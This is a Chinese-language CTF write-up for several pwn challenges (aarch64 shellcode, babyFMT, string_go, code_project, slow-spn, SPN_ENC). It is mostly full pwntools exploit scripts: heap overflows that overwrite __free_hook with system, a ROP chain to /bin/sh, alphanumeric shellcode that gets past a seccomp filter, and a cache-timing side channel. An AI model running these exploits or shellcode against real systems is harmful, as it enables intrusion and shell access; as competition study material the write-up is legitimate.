ss = "PPPPHBMBPPPPJBOBPPPPLPOBPPPPNPOBAOPPPPIALNHLHMMBBNNLJLOBNNPOAOOHHPOCIOMBNPOOKOOBNPOOMOOBNPOOOOOBNAPCPPIANBPCAOJJPHPGHPMBPAPPPPMDNAPCPPJJBPPPHPMBNBPCAOJJNCOOIOMBNCOOJOOBNHPHHPMBPAPPPPMD"
# 嵌入 decoder 的 pool 部分
payload = payload[:payload.find("BBBBB")]+ss+payload[payload.find("BBBBB")+len(ss):]
print(payload)
print("Len:", hex(len(payload)))
with open("decoder.txt", "w") as f:
    # padding & save
    f.write(payload.ljust(0x2fff, "A"))

注意写到输出文件之前要padding到三个页的大小,由于题目使用mmap映射payload,如果大小不够会导致写后面的页时缺页异常无法正确处置从而触发段错误(被这玩意坑了几个小时

payload传到网站目录下让服务器去下载

exp.py

与远程交互
from pwn import *
import os
import string

context.arch = "aarch64"
context.log_level = "debug"

p = remote("39.106.54.108", 30004)
p.recvuntil(b"Enter one result of `")
cmd = p.recvuntil(b"`", drop=True)
res = os.popen(cmd.decode()).read()
p.send(res)
p.sendlineafter(b"shellcode url: ", b"http://app.eqqie.cn/decoder.txt")
p.interactive()

调试技巧

GDB+QEMU调试aarch64 shellcode会经常出各种问题导致无法继续单步下去,可以尝试手写unicorn调试器然后构造一个相似的上下文来单步分析——对于和解码相关的shellcode题特别有用。

这是我调试时用的脚本:

#!/usr/bin/env python
import sys
#sys.path = ['./site_pack']+sys.path
from pwn import *
import os
import struct
import types
from unicorn import *
from unicorn.arm64_const import *

context.arch = 'aarch64'

CODE = 0x10000000
STACK = 0x4000812000

main = b""
with open("decoder.txt", "rb") as f:
    main = f.read()

def setregs(uc):
    # 重建上下文
    uc.reg_write(UC_ARM64_REG_X0,0x0000000010000000)
    uc.reg_write(UC_ARM64_REG_X1,0x0000000000000001)
    uc.reg_write(UC_ARM64_REG_X2,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X3,0x00000040009b9500)
    uc.reg_write(UC_ARM64_REG_X4,0x00000000fbad2a84)
    uc.reg_write(UC_ARM64_REG_X5,0x0000000000000003)
    uc.reg_write(UC_ARM64_REG_X6,0x000000000000021a)
    uc.reg_write(UC_ARM64_REG_X7,0x0000000000000010)
    uc.reg_write(UC_ARM64_REG_X8,0x0000000000000040)
    uc.reg_write(UC_ARM64_REG_X9,0x00000000000003f3)
    uc.reg_write(UC_ARM64_REG_X10,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X11,0x0000000000000038)
    uc.reg_write(UC_ARM64_REG_X12,0x00000040008133c8)
    uc.reg_write(UC_ARM64_REG_X13,0x0000000000000002)
    uc.reg_write(UC_ARM64_REG_X14,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X15,0x0000000000000410)
    uc.reg_write(UC_ARM64_REG_X16,0x00000040008b8290)
    uc.reg_write(UC_ARM64_REG_X17,0x0000004000828540)
    uc.reg_write(UC_ARM64_REG_X18,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X19,0x0000004000000958)
    uc.reg_write(UC_ARM64_REG_X20,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X21,0x0000004000000740)
    uc.reg_write(UC_ARM64_REG_X22,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X23,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X24,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X25,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X26,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X27,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X28,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X29,0x00000040008123f0)
    uc.reg_write(UC_ARM64_REG_X30,0x000000400000094c)
    uc.reg_write(UC_ARM64_REG_SP,0x00000040008123f0)


def debug_hook(uc, address, size, user_data):
    pc = uc.reg_read(UC_ARM64_REG_PC)
    print(f"pc[{hex(pc)}] => {disasm(uc.mem_read(pc,0x4))}")
    print(f"target[{hex(0x10002734)}]:\n {disasm(uc.mem_read(0x10002734,0x50))}")
    print('x18 : ',hex(uc.reg_read(UC_ARM64_REG_X18)))
    print('x25 : ',hex(uc.reg_read(UC_ARM64_REG_X25)))
    print('x10 : ',hex(uc.reg_read(UC_ARM64_REG_X10)))
    print('x11 : ',hex(uc.reg_read(UC_ARM64_REG_X11)))
    print('x2 : ',hex(uc.reg_read(UC_ARM64_REG_X2)))
    print('x26 : ',hex(uc.reg_read(UC_ARM64_REG_X26)))
    print('x19 : ',hex(uc.reg_read(UC_ARM64_REG_X19)))
    

def init(uc):
    uc.mem_map(CODE, 0x4000, UC_PROT_READ | UC_PROT_WRITE | UC_PROT_EXEC)
    uc.mem_write(CODE, main)
    uc.mem_map(STACK, 0x4000, UC_PROT_READ | UC_PROT_WRITE)
    uc.mem_write(STACK, b'hello\n')

    setregs(uc)
    #uc.hook_add(UC_HOOK_CODE, debug_hook, None, CODE+0x0, CODE+0x60)
    uc.hook_add(UC_HOOK_CODE, debug_hook, None, CODE+0x10e0, CODE+0x3000)


def play():
    uc = Uc(UC_ARCH_ARM64, UC_MODE_ARM)
    init(uc)
    try:
        uc.emu_start(CODE, CODE + 0x3000)
    except UcError as e:
        print("error...")
        print(e)
        pc = uc.reg_read(UC_ARM64_REG_PC)
        print('pc : ',hex(pc))
        print('x18 : ',hex(uc.reg_read(UC_ARM64_REG_X18)))
        print('x25 : ',hex(uc.reg_read(UC_ARM64_REG_X25)))
        print('x10 : ',hex(uc.reg_read(UC_ARM64_REG_X10)))
        print('x11 : ',hex(uc.reg_read(UC_ARM64_REG_X11)))
        print('x2 : ',hex(uc.reg_read(UC_ARM64_REG_X2)))
        print('x26 : ',hex(uc.reg_read(UC_ARM64_REG_X26)))
        print('x19 : ',hex(uc.reg_read(UC_ARM64_REG_X19)))
        #print(disasm(uc.mem_read(pc,0x50)))
        print(disasm(uc.mem_read(0x10000000,0x100)))

if __name__ == '__main__':
    play()

babyFMT

以为是个普通的格式化串题,结果是出题人自己实现了一个格式化输入(babyscanf)和输出(babyprintf

漏洞点:

  • 一个是在show()里面可以自定义输出用的格式化串,但是光有这个是无法利用的,需要结合另一个漏洞点
  • 另一个是在babyprintf()中,这里最开始缓冲区大小的确定方式是:首先获取格式化串原长(用的strlen),先进行一次遍历,每遍历到一个%就把需要的长度+0x10,最后交给malloc来获得存放输出流用的buffer;反复审计了几次发现使用b"%\x00"形式的格式化串可以欺骗strlen同时不会导致格式化串解析的终止。于是当我们使用%r——类似scanf中的%s时就会造成以外的堆溢出覆盖

利用:

  • 溢出理论可行,但是格式化串的buffer在解析完后会释放,所以要准确控制堆溢出位置还是有点麻烦的
  • 我采用的堆风水思路是控制buffer循环使用低地址的一个0x30堆块,在其后构造几个0x50的堆块,通过溢出修改size进行overlap;overlap之后就顺理成章能使用UAF来修改0x50fasbin中的fd指针指向__free_hook
  • 这里之所以选择一个较大的堆块(0x50)去做控制是因为在__free_hook被修改为system之后并不能立马发生system("/bin/sh"),需要手动去执行一次show()逻辑,在最后释放格式化串buffer的时候再触发system("/bin/sh");这个过程中会发生几次固定的babyprintf()调用,这里如果碰到了被破坏的堆结构会触发异常,所以需要绕掉

EXP:

from pwn import *

#p = process("./babyFMT", env={"LD_PRELOAD":"./libc-2.31.so"})
p = remote("43.155.72.106", 9999)
elf = ELF("./libc-2.31.so")
context.log_level = "debug"

def add(size:int, author, content):
    p.sendlineafter(b">", b"1")
    p.sendlineafter(b"Size:", b"Content size is "+str(size).encode())
    p.sendlineafter(b"Author:", b"Book author is "+author)
    p.sendlineafter(b"Content:", b"Book content is "+content)
    
def delete(idx:int):
    p.sendlineafter(b">", b"2")
    #p.sendafter(b"Idx:", b"Book idx is "+str(idx).encode()+b" ")
    p.sendlineafter(b"Idx:", b"Book idx is "+str(idx).encode())
    
def show(idx:int, fmt):
    p.sendlineafter(b">", b"3")
    p.sendlineafter(b"Idx:", b"Book idx is "+str(idx).encode())
    p.sendlineafter(b"You can show book by yourself\n", b"My format "+fmt)
    

# base: 0x0000555555554000+0x4060

def exp():
    # leak
    ## leak libc
    add(0x20, b"xxxx", b"xxxx") # 0 bad chunk
    add(0x410, b"aaaa", b"bbbb") # 1
    add(0x20, b"tttt", b"tttt") # 2 split
    delete(1)
    add(0x20, b"b", b"b") #1
    show(1, b"%r|%m|%r")
    libc_leak = p.recv(6).ljust(8, b"\x00")
    libc_leak = u64(b"\xe0"+libc_leak[1:])
    libc_base = libc_leak - 0x470 - elf.symbols[b"__malloc_hook"]
    free_hook = libc_base + elf.symbols[b"__free_hook"]
    system = libc_base + elf.symbols[b"system"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    
    ## attack tcache
    ## b"AAAAAAAAAA%m%m%r"
    add(0x360, b"x"*0x10, b"xxxx") # 3 clean unsorted bin
    add(0x10, b"xxxx", b"xxxx") # 4 clean 0x30 bin
    add(0x20, b"xxxx", b"xxxx") # 5 clean 0x40 bin
    
    add(0x10, b"6666", b"cccc") # 6
    add(0x30, b"7777", b"cccc") # 7
    add(0x30, b"8888", b"cccc") # 8
    add(0x30, b"9999", b"cccc") # 9
    add(0x30, b"9999", b"cccc") # 10
    add(0x100, b"x"*0x10, b"\x61") #11
    delete(6)
    show(11, b"A"*8+b"%\x00"+b"A"*0x18+b"A"*0x8+b"\xa1") # resize
    
    delete(10)
    delete(9)
    delete(8)
    delete(7) # resized
    
    add(0x80, b"rrrr", b"A"*0x38+p64(free_hook-0x20)[:6]) # 6
    
    ## fetch
    add(0x30, b"tttt", b"tttt") # 7
    add(0x30, b"A"*0x10, b"A"*0x8+p64(system)[:6]) # 10
    
    print("free_hook:", hex(free_hook))
    print("system:", hex(system))
    
    # get shell
    p.sendline(b"3")
    p.sendline(b"Book idx is 7")
    p.sendline(b"My format /bin/sh; ")

    
    p.interactive()

if __name__ == "__main__":
    exp()

string_go

表达式计算器,负数导致溢出泄露地址+栈溢出写rop

from pwn import *

#p = process("./string_go", env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("82.157.20.104", 42100)
libc = ELF("./libc-2.27.so")
context.log_level = "debug"

# base: 0x0000555555554000

def send(content):
    p.sendlineafter(b">>> ", content)

def exp():
    #gdb.attach(p)
    #gdb.attach(p, "b *0x0000555555554000+0x2415\nb *0x0000555555554000+0x2424\nc\n")
    # start
    send(b"1+2")
    
    # lative
    ## leak
    send(b"-7") # ch idx
    send(b"\x00") # sta
    send(b"\x02") # patch
    leak_data = p.recv(0x58)
    p.recv(0xa0)
    libc_leak = u64(p.recv(8))
    libc_base = libc_leak- 0x21bf7
    system = libc_base + libc.symbols[b"system"]
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    pop_rdi_ret = libc_base + 0x215bf
    ret = libc_base + 0x8aa
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    
    # overwrite
    payload = leak_data[0x20:]
    payload += p64(pop_rdi_ret) + p64(binsh) + p64(ret) + p64(system)
    
    send(payload) # src str
    
    p.interactive()

if __name__ == "__main__":
    exp()

code_project

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x10 0xc000003e  if (A != ARCH_X86_64) goto 0018
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0d 0xffffffff  if (A != 0xffffffff) goto 0018
 0005: 0x15 0x0c 0x00 0x0000003b  if (A == execve) goto 0018
 0006: 0x15 0x0b 0x00 0x00000142  if (A == execveat) goto 0018
 0007: 0x15 0x0a 0x00 0x00000002  if (A == open) goto 0018
 0008: 0x15 0x09 0x00 0x00000101  if (A == openat) goto 0018
 0009: 0x15 0x08 0x00 0x00000039  if (A == fork) goto 0018
 0010: 0x15 0x07 0x00 0x00000065  if (A == ptrace) goto 0018
 0011: 0x15 0x06 0x00 0x00000020  if (A == dup) goto 0018
 0012: 0x15 0x05 0x00 0x00000009  if (A == mmap) goto 0018
 0013: 0x15 0x04 0x00 0x00000130  if (A == open_by_handle_at) goto 0018
 0014: 0x15 0x03 0x00 0x00000003  if (A == close) goto 0018
 0015: 0x15 0x02 0x00 0x00000000  if (A == read) goto 0018
 0016: 0x15 0x01 0x00 0x00000001  if (A == write) goto 0018
 0017: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0018: 0x06 0x00 0x00 0x00000000  return KILL

看样子readv和writev有戏

readv没有被禁用可以自覆盖解除alpha限制,writev访问非法内存会返回错误值但是不会报错导致中断,可以写一个loop从低到高遍历地址去读flag

from pwn import *
from time import sleep

#p = process("./code_project")
p = remote("82.157.31.181", 25100)
context.log_level = "debug"

readv_x64 = '''
xor rdi, rdi;
mov rax, 0x7fffffff
shr rax, 20;
push rax;
push rsp;
mov rsi, rsp;
xor rdx, rdx;
inc rdx;
push 19;
pop rax;
syscall;
'''

writev_x64 = '''
   mov r8, 0x100;
DO_WRITE:
   add r8, 1;
   mov rdi, 0x1;
   mov rbx, r8; 
   shl rbx, 12;
   mov qword ptr [rbp+0x100], rbx;
   mov qword ptr [rbp+0x108], 0x30;
   lea rsi, [rbp+0x100];
   mov rdx, 1;
   mov rax, 20;
   syscall;
   cmp r8, 0xffff;
   jne DO_WRITE;
'''


def exp():
   #gdb.attach(p, "b *0x400b16\nc\n")
   
   p.recvuntil(b"DASCTF{MD5}\n")

   # self overwrite
   '''
   payload1 = asm(readv_x64, arch="amd64")
   print(payload1.hex("|"))
   #pause()
   with open("./alpha_shellcode", "wb") as f:
       f.write(payload1)
   '''
   payload1 = b"Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M15103Z0y3g3c358O4F0L2O3b4K2G0e0l175M300x1M3p178L301n0X0j0H050"
   payload1 = payload1.ljust(0x100, b"A")
   p.send(payload1)
   
   # writev loop
   payload2 = b"\x90"*0x50
   payload2 += asm(writev_x64, arch="amd64")
   payload2 = payload2.ljust(0x100, b"\x90")
   p.send(payload2)

   p.interactive()

if __name__ == "__main__":
   exp()

slow-spn

本题里面cacheLine是一个缓存单元的类型,__maccess()函数负责检查cacheLine是否命中,以及置换掉最少命中次数的cacheLine

思路:侧信道泄露+爆破

struct cacheLine
{
  uint32_t tag;
  uint32_t last_used;
};
key = flag[0:6]
plain = flag[6:10]
                          k>>n*4
                             ↓
plaintext -> |SS| -> |P| -> XOR -> ... -> |SS| -> |P| -> cipher

... --> |SS| --(vuln)--> |&cache| --> |P| --> ...

getflag的脚本

from pwn import *
from hashlib import sha256
from pwnlib.util.iters import mbruteforce

context.log_level = 'debug'
def pow(p):
    p.recvuntil(b"hashlib.sha256( x + \"")
    c = p.recvuntil("\"" , drop = True)
    print(c)
    proof = mbruteforce(lambda x: sha256(x.encode() + c).hexdigest()[:6] == '000000'
                        , '0123456789', length=8, method='fixed')
    p.sendline(proof)
def getflag(key , m):
    p.recvuntil(b'Input possible spn key (hex):')
    p.sendline(key)
    p.recvuntil(b'Input possible spn plaintext (hex):')
    p.sendline(m)
    res = p.recv()
    if res == b'Wrong.':
        return 0
    else:
        print(res)


p = remote('124.71.173.176' ,8888)
pow(p)
getflag('11' , '1111')

脚本比较乱就贴个爆第一轮的上来好了,后面差不多:

#exp_round1.py
from pwn import *
import sys
from chall import ss_box, p_box, ss_box_addr, p_box_addr
from time import time, sleep
import threading

ss_map = defaultdict(list)
p_map = defaultdict(list)
stop_flag = False

#context.log_level = "debug"

class MyThread(threading.Thread):  
    def __init__(self, func, args=()):  
        super(MyThread, self).__init__()  
        self.func = func  
        self.args = args  
  
    def run(self):  
        self.result = self.func(*self.args)
  
    def get_result(self):  
        try:  
            return self.result  
        except Exception as e:  
            return None  

    def get_args(self, _idx=None):
        return self.args if _idx == None else self.args[_idx]
            
class MyPipe:
    def __init__(self, _addr, _typ="local"):
        if _typ == "local":
            self.raw_p = process(_addr)
        else:
            self.raw_p = remote(_addr[0], _addr[1])
    
    def maccess(self, addr, speed):
        print(f"Addr: {addr}")
        print(f"Fetch cache: {hex((addr>>5) & 0x1F)}\nCache tag: {hex(addr>>10)}")
        self.raw_p.sendlineafter(b"What to do?\n", b"1")
        self.raw_p.sendlineafter(b"Where?\n", str(addr).encode())
        self.raw_p.sendlineafter(b"Speed up?\n", str(speed).encode())

    def conti(self):
        self.raw_p.sendlineafter(b"What to do?\n", b"2")
       
    def leave(self):
        self.raw_p.sendlineafter(b"What to do?\n", b"3")
        
    def skip(self):
        self.raw_p.sendlineafter(b"What to do?\n", b"4")

    def recv(self, num=2048):
        return self.raw_p.recv(num)

    def recvall(self):
        return self.raw_p.recvall()

    def close(self):
        self.raw_p.close()
    
def calc_cacheline(addr:int):
    return (addr>>5) & 0x1F

def calc_tag(addr:int):
    return (addr>>10)
    
def map_i(addr):
    return (calc_cacheline(addr), calc_tag(addr))
    
def gen_target(cache_pos, tag):
    return (tag << 10) + (cache_pos << 5)

def ss_box_item(addr):
    return ss_box[(addr-ss_box_addr)//4]

def p_box_item(addr):
    return p_box[(addr-p_box_addr)//4]

def ss_item_addr(value):
    return ss_box_addr+ss_box.index(value)*4

def p_item_addr(value):
    return p_box_addr+p_box.index(value)*4

def init():
    global ss_map
    global p_map
    for ss_item_addr in range(ss_box_addr, ss_box_addr+len(ss_box)*4, 4):
        ss_map[map_i(ss_item_addr)].append(ss_box_item(ss_item_addr))
    print(f"ss_map size: {hex(len(ss_map))}")
    for p_item_addr in range(p_box_addr, p_box_addr+len(p_box)*4, 4):
        p_map[map_i(p_item_addr)].append(p_box_item(p_item_addr))
    print(f"p_map size: {hex(len(p_map))}")

s1_list = []
p1_list = []
s1_matched = []

def burp_round_1():
    MAX_THREAD = 0x100
    global stop_flag
    stop_flag = False

    def check_si_fetch(p:MyPipe, cache_info):
        global stop_flag
        if stop_flag:
            p.close()
            return False
        p.maccess(ss_item_addr(ss_map[cache_info][0]), 1) # speed up
        p.conti()
        t1 = time()
        p.recv(1)
        t2 = time()
        #print(t2-t1)
        p.close()
        if t2-t1 >= 0.95:
            return False
        else:
            stop_flag = True
            return True

    pool = []
    init_active = threading.active_count()
    for cache_info in ss_map.keys():
        if stop_flag:
            break
        th = MyThread(func=check_si_fetch, args=(MyPipe(("124.71.173.176", 9999), "remote"), cache_info))
        th.setDaemon(True)
        while True:
            if threading.active_count()-init_active > MAX_THREAD:
                sleep(0.8)
            else:
                th.start()
                pool.append(th)
                #print(th.get_args(1))
                break
    for th in pool:
        th.join()
        if th.get_result() == True:
            s1_cache_info = th.get_args(1)
            s1_list = ss_map[s1_cache_info]
            break
    print(f"s1_cache_info: {s1_cache_info}")
    print(f"s1_list: {s1_list}")

    for s1 in s1_list:
        p = MyPipe(("124.71.173.176", 9999), "remote")
        p.skip()
        p.maccess(p_item_addr(p_box[s1]), 1) # speed up
        p.conti()
        t1 = time()
        p.recv(1)
        t2 = time()
        if(t2-t1 >= 0.96):
            print("Miss")
            p.close()
        else:
            p1_cache_info = map_i(p_item_addr(p_box[s1]))
            print(f"Got p1 cache info: {p1_cache_info}")
            p1_list.append(p_box[s1])
            s1_matched.append(s1)
            p.close()
    print(f"p1_list: {p1_list}")
    print(f"s1_matched: {s1_matched}")

def exp():
    init()
    burp_round_1()

if __name__ == "__main__":
    exp()

第四组不用爆完,本地调试的时候线程开多点爆完验证一下就好

[remote]

round 1:
p1_list: [24177, 24160, 24176, 20336]
s1_matched: [20075, 20072, 20074, 20070]

round 2:
p2_list: [29651, 29634]
s2_matched: [10975, 10972]

round 3:
p3_list: [51619, 55459, 51635]
s3_matched: [59445, 59449, 59447]

然后根据上面的信息拿mlist和klist:

p1_list = [24177, 24160, 24176, 20336]
s1_matched = [20075, 20072, 20074, 20070]
p2_list = [29651, 29634]
s2_matched = [10975, 10972]
p3_list = [51619, 55459, 51635]
s3_matched = [59445, 59449, 59447]
mlist = [hex(ss_box.index(i))[2:].rjust(4 , '0') for i in s1_matched]
k2list = []
k1list = []
for s in s2_matched:
    for p in p1_list:
        temp = ss_box.index(s)
        a = p ^ temp
        k1list.append(a)
for s in s3_matched:
    for p in p2_list:
        temp = ss_box.index(s)
        a = p ^ temp
        k2list.append(a)
klist = []
for k1 in k1list:
    for k2 in k2list:
        temp1 = k1 &0xfff
        temp2 = k2 >> 4
        if temp1 == temp2:
            klist.append((k1 <<4)+(k2&0xf))

print(mlist)

spn

sbox = [0xE, 4, 0xD, 1, 2, 0xF, 0xB, 8, 3, 0xA, 6, 0xC, 5, 9 , 0 , 7]
pbox = [1, 5, 9, 0xD, 2, 6, 0xA, 0xE, 3, 7, 0xB, 0xF, 4, 8,0xC, 0x10]
masks = [0x8000, 0x4000, 0x2000, 0x1000, 0x800, 0x400, 0x200, 0x100,0x80, 0x40, 0x20, 0x10, 8, 4, 2, 1]
key = [0x3a94,0xa94d ,0x94d6,0x4d63,0xd63f]
def re_s(c):
    res = 0
    for i in range(4):
        temp = c % 16
        res += sbox.index(temp)*2**(4*i)
        c //= 16
    return res
def re_p(c):
    res = 0
    for i in range(16):
        if c &(0x8000>>i) != 0:
            res |=(0x8000 >> (pbox[i] - 1))
    return res

def dec(m):
    m = (m[1]<<8) | m[0]
    m ^= key[-1]
    for i in range(3):
        m = re_s(m)
        m ^= key[-(i+2)]
        m = re_p(m)
    m = re_s(m)
    m ^= key[0]
    m = bytes([m&0xff , m >> 8])
    return m
def decrypt(m):
    c = b''
    assert len(m) % 2 == 0
    for i in range(len(m) // 2):
        c += dec(m[i*2:i*2+2])
    return c

print(decrypt(b'4N4N4N4N'))

过spn的脚本,调用decrypt(想要在内存写的东西),然后把返回值扔过去就行了。
密文长度必须是2的倍数,如果不是2的倍数远程会默认后面是\x00或者是其他的奇奇怪怪的东西,为了避免错误建议用2的倍数

鉴于decrypt出来的值不太稳定改成两次edit,第一次收集下变化的部分放进nonaddlist第二次正常打

from pwn import *

#p = process("./SPN_ENC", env = {"LD_PRELOAD": "./libc-2.27.so"})
#p = process("./SPN_ENC")
p = remote("124.71.194.126", 9999)
context.log_level = "debug"

sbox = [0xE, 4, 0xD, 1, 2, 0xF, 0xB, 8, 3, 0xA, 6, 0xC, 5, 9 , 0 , 7]
pbox = [1, 5, 9, 0xD, 2, 6, 0xA, 0xE, 3, 7, 0xB, 0xF, 4, 8,0xC, 0x10]
masks = [0x8000, 0x4000, 0x2000, 0x1000, 0x800, 0x400, 0x200, 0x100,0x80, 0x40, 0x20, 0x10, 8, 4, 2, 1]
key = [0x3a94,0xa94d ,0x94d6,0x4d63,0xd63f]
nonaddlist = []

def re_s(c):
    res = 0
    for i in range(4):
        temp = c % 16
        res += sbox.index(temp)*2**(4*i)
        c //= 16
    return res
def re_p(c):
    res = 0
    for i in range(16):
        if c &(0x8000>>i) != 0:
            res |=(0x8000 >> (pbox[i] - 1))
    return res

def dec(m):
    addnum = 0
    if m in nonaddlist:
        addnum = 1
    m = (m[1]<<8) | m[0]
    m ^= key[-1]
    for i in range(3):
        m = re_s(m)
        m ^= key[-(i+2)]
        m = re_p(m)
    m = re_s(m)
    m ^= key[0]
    
    m = bytes([m&0xff , (m >> 8)+addnum])
    return m
def decrypt(m):
    c = b''
    assert len(m) % 2 == 0
    for i in range(len(m) // 2):
        c += dec(m[i*2:i*2+2])
    return c

def malloc(size, idx):
    p.sendlineafter(b"0.exit\n", b"1")
    p.sendlineafter(b"Size:\n", str(size).encode())
    p.sendlineafter(b"Index:\n", str(idx).encode())
    
def edit(index, size, content):
    p.sendlineafter(b"0.exit\n", b"2")
    p.sendlineafter(b"Index:\n", str(index).encode())
    p.sendlineafter(b"Size\n", str(size).encode())
    p.sendafter(b"Content\n", content)
    
def free(idx):
    p.sendlineafter(b"0.exit\n", b"3")
    p.sendlineafter(b"Index:\n", str(idx).encode())
    
def show(idx):
    p.sendlineafter(b"0.exit\n", b"4")
    p.sendlineafter(b"Index:\n", str(idx).encode())

#: 0x555555554000

def exp():
    p.recvuntil(b"gift:")
    gift = int(p.recvuntil(b"\n", drop=True).decode(), 16)
    elf_base = gift - 0x2040E0
    print("gift:", hex(gift))
    print("elf_base:", hex(elf_base))
    
    # malloc
    malloc(0x40, 0)
    for i in range(3):
        malloc(0x20, i+1)
    free(3)
    free(2)
    free(1)
    payload = b"A"*0x40+p64(0)+p64(0x31)+p64(gift)
    payload_dec = decrypt(payload)
    print("Payload len:", hex(len(payload)))
    print(payload.hex())
    print(payload_dec.hex())
    w_size = 0x58
    edit(0, w_size, payload_dec)
    for i in range(0, w_size*2, 4):
        p.recvuntil(b"w:")
        tar = payload_dec.hex()[i+2:i+4]+payload_dec.hex()[i:i+2]
        act = p.recvuntil(b"\n", drop=True).decode().rjust(4, "0")
        print(tar, act)
        if tar != act:
            nonaddlist.append(bytes([payload[i//2]])+bytes([payload[i//2+1]]))
    print(nonaddlist)
    edit(0, w_size, decrypt(payload))
    
    # fetch
    malloc(0x20, 5)
    malloc(0x20, 6)
    edit(6, 8, b"A"*8)
    print("gift:", hex(gift))
    p.sendline(b"5")
    
    p.interactive()

if __name__ == "__main__":
    exp()